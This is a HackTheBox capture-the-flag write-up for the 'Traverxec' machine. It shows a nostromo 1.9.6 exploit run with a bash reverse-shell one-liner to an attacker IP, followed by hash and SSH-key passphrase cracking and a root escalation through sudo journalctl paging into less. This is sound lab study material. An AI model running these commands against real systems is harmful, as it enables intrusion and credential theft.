Traverxec

CTF	HackTheBox
Category	Writeup
Created	@August 1, 2021 12:10 AM
Date	
Description	
Fields	
Level	Easy
Tags	

Info

Credential

User	Password	Service	Note
david			passphrase: `hunter`

HTTP

- Server: `nostromo 1.9.6`
- `/empty.html`
- `/~david`

Path

User

1. Run `47837.py` from EDB, and get the reverse shell.

```
python2 47837.py $ip 80 "bash -c 'bash -i >& /dev/tcp/10.10.16.3/13337 0>&1'"
```

2. Find `david`'s hash at `/var/nostromo/conf/.htpasswd` and crack the password.
3. According to the document, found `/~david` and possible directory `public_www`.

```
$ cat /var/nostromo/conf/nhttpd.conf
...
# HOMEDIRS [OPTIONAL]

homedirs                /home
homedirs_public         public_www
$ man nhttpd
HOMEDIRS
     To serve the home directories of your users via HTTP, enable the homedirs option
by defining the path in where the home directories are
     stored, normally /home.  To access a users home directory enter a ~ in the URL f
ollowed by the home directory name like in this example:

           <http://www.nazgul.ch/~hacki/>

     The content of the home directory is handled exactly the same way as a directory
in your document root.  If some users don't want that their
     home directory can be accessed via HTTP, they shall remove the world readable fl
ag on their home directory and a caller will receive a 403
     Forbidden response.  Also, if basic authentication is enabled, a user can create
an .htaccess file in his home directory and a caller will
     need to authenticate.

     You can restrict the access within the home directories to a single sub director
y by defining it via the homedirs_public option.
```

4. Since user `www-data` has execute right on the directory `/home/david`, we can `cd` into `david/public_www`.
5. Get `backup-ssh-identity-files.tgz` in `/home/david/public_www`, then decompress it to get `id_rsa`. Crack the passphrase with `john`.

```
www-data@traverxec:/dev/shm$ ls
total 560
drwxrwxrwt  3 root     root        160 Jul 31 11:09 .
```

```
drwxr-xr-x 16 root     root       3160 Jul 31 03:30 ..
-rw-r--r--  1 www-data www-data   1915 Jul 31 11:02 backup-ssh-identity-files.tgz
www-data@traverxec:/dev/shm$ tar zxvf backup-ssh-identity-files.tgz
home/david/.ssh/
home/david/.ssh/authorized_keys
home/david/.ssh/id_rsa
home/david/.ssh/id_rsa.pub
```

6. Login via SSH and get the user flag.

Root

1. From `~/bin/server-stats.sh`, it reveals `david` can run `/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service` as `root` without password.

```
#!/bin/bash

cat /home/david/bin/server-stats.head
echo "Load: `/usr/bin/uptime`"
echo " "
echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`"
echo "Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`"
echo " "
echo "Last 5 journal log lines:"
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat
```

2. Shrink the column of the tty to less than 5, so we can be sent into `less`. Then use `less` to spawn a shell and get the root flag.

   (less)

```
$ stty cols 4
$ /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
!/bin/bash
$ whoami
root
```